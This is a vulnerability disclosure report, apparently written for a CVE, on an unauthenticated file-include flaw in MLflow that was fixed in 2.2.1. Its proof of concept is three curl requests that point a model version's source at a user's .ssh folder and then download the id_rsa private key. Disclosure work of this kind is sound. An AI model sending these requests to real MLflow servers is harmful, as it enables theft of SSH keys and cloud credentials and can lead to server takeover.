LFI/RFI in MLflow in mlflow/mlflow
Reported on
Mar 3rd 2023
Description
Local and Remote File Include in MLflow
Proof of Concept
Start the server or UI (it works on both identically)
mlflow ui --host 127.0.0.1:5001
Create a model
curl -i -s -k -X $'POST' \ -H $'Host: 127.0.0.1:5001' -H $'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0' -H $'Accept: /' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Referer: http://127.0.0.1:5001/' -H $'Content-Type: application/json; charset=utf-8' -H $'Content-Length: 19' -H $'Origin: http://127.0.0.1:5001' -H $'Connection: close' -H $'Sec-Fetch-Dest: empty' -H $'Sec-Fetch-Mode: cors' -H $'Sec-Fetch-Site: same-origin' \ --data-binary $'{\"name\":\"AJAX-API\"}' \ $'http://127.0.0.1:5001/ajax-api/2.0/mlflow/registered-models/create'
Arbitrary "name" parameter to be used in the following two requests.
Create a model version
curl -i -s -k -X $'POST' \ -H $'Host: 127.0.0.1:5001' -H $'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0' -H $'Accept: /' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Referer: http://127.0.0.1:5001/' -H $'Content-Type: application/json; charset=utf-8' -H $'Content-Length: 55' -H $'Origin: http://127.0.0.1:5001' -H $'Connection: close' -H $'Sec-Fetch-Dest: empty' -H $'Sec-Fetch-Mode: cors' -H $'Sec-Fetch-Site: same-origin' \ --data-binary $'{\"name\":\"AJAX-API\",\"source\":\"file:///home/danmcinerney/.ssh\"}' \ $'http://127.0.0.1:5001/ajax-api/2.0/mlflow/model-versions/create'
This is where we set the folder that we want access to. In this case I set the JSON parameter "source" to "file:///home/danmcinerney/.ssh" so that I can access the ssh private keys.
Get artifacts
curl -i -s -k -X $'GET' \ -H $'Host: 127.0.0.1:5001' -H $'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Connection: close' -H $'Upgrade-Insecure-Requests: 1' -H $'Sec-Fetch-Dest: document' -H $'Sec-Fetch-Mode: navigate' -H $'Sec-Fetch-Site: none' -H $'Sec-Fetch-User: ?1' \ $'http://127.0.0.1:5001/model-versions/get-artifact?path=id_rsa&name=AJAX-API&version=1'
The "path" URL parameter can now be set to any file in the folder specified in the previous request's "source" JSON parameter. Note that you can also access other network resources by setting the previous requests' "source" path to things like "s3://bucket/model.pkl/" which extends this from just local file include to remote file include as well.
This works out of the box on a default installation remotely and with no authentication.
This bug was privately disclosed to MLflow via their Security policy of emailing mlflow-oss-maintainers@databricks.com already so no need to contact them again. It has been fixed in the 2.2.1 release. This report is for the CVE submission.
Impact
Reading arbitrary sensitive files on the server. Additionally, reading arbitrary files on the remote artifact store server. Because MLflow is most often configured to use an S3 bucket (per research on publicly available MLflow instances found via Shodan) this means AWS account credentials can also be stolen in the majority of deployments. System takeover and RCE is possible via stealing the private SSH keys from the server.
SECURITY.md
exists
9 months ago